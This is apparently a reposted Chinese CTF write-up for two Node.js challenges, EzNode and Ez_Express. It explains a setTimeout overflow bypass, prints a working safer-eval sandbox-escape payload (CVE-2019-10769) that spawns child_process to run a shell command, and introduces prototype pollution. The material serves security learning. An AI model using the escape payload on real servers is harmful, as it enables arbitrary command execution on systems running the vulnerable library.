zoukankan      html  css  js  c++  java
  • [GKCTF2020]EZ三剑客-EzNode&[GYCTF2020]Ez_Express

    写在前面

    Nodejs基础一点没有做题还是很难下手的,要学的还很多

    [GKCTF2020]EZ三剑客-EzNode

    知识点

    1.settimeout溢出

    2.沙盒逃逸

    题解

    打开题目,看源代码

    app.use((req, res, next) => {
      if (req.path === '/eval') {
        let delay = 60 * 1000;
        console.log(delay);
        if (Number.isInteger(parseInt(req.query.delay))) {
          delay = Math.max(delay, parseInt(req.query.delay));
        }
        const t = setTimeout(() => next(), delay);
        setTimeout(() => {
          clearTimeout(t);
          console.log('timeout');
          try {
            res.send('Timeout!');
          } catch (e) {
    
          }
        }, 1000);
      } else {
        next();
      }
    });
    

    通过/eval?delay=上传一个数字并和60000比较,大的赋值给delay

    根据上文的内容中:

    setTimeout最多只能推迟执行2147483647毫秒(24.8天),超过这个时间会发生溢出,导致回调函数将在当前任务队列结束后立即执行

    我们传入一个大于2147483647的值即可

    再看

    const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
    

    百度上去找safer-eval库发现存在漏洞(CVE-2019-10769 )

    直接拿来用就行 链接:https://github.com/commenthol/safer-eval/issues/10

    e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
    

    [GYCTF2020]Ez_Express

    知识点

    1.Nodejs原型链污染

    链接:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

    原型链概念

    在 Javascript,每一个实例对象都有一个prototype属性,prototype 属性

    可以向对象添加属性和方法。

    object.prototype.name=value

    在 Javascript,每一个实例对象都有一个__proto__属性,这个实例属性 指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对 象的原型对象:

    objectname["__proto__"] 
    
    objectname.__proto__ 
    
    objectname.constructor.prototype
    

    污染原理

    object[a][b] = value 如果可以控制a、b、value的值,将a设置为 proto,我们就可以给object对象的原型设置一个b属性,值为value。这样 所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b 属性,且值为value。

    object1 = {"a":1,"b":2};
    object1.__proto__.foo = "hhh";//直接修改原型,添加foo
    console.log.(object1.foo);
    object2 = {"c":1,"d":2};
    console.log(object2.foo);//本身没找到,就去原型里找
    

    2.Nodejs大小写转换特性

    题解

    链接:http://ybm911.work/2020/03/25/BUU|-GYCTF2020-Ez-Express/

  • 相关阅读:
    vue中的watch
    css渲染层次理解及实际问题
    css中一些设计总结
    python打包文件(nuitka)
    vue实现前后端文件的上传和下载
    pyqt5使用多线程避免程序假死
    使用python编写shell脚本并运行
    记录一下WordNet多线程下的bug
    利用多线程对大数组进行处理
    nginx配置静态文件
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13451614.html
Copyright © 2011-2022 走看看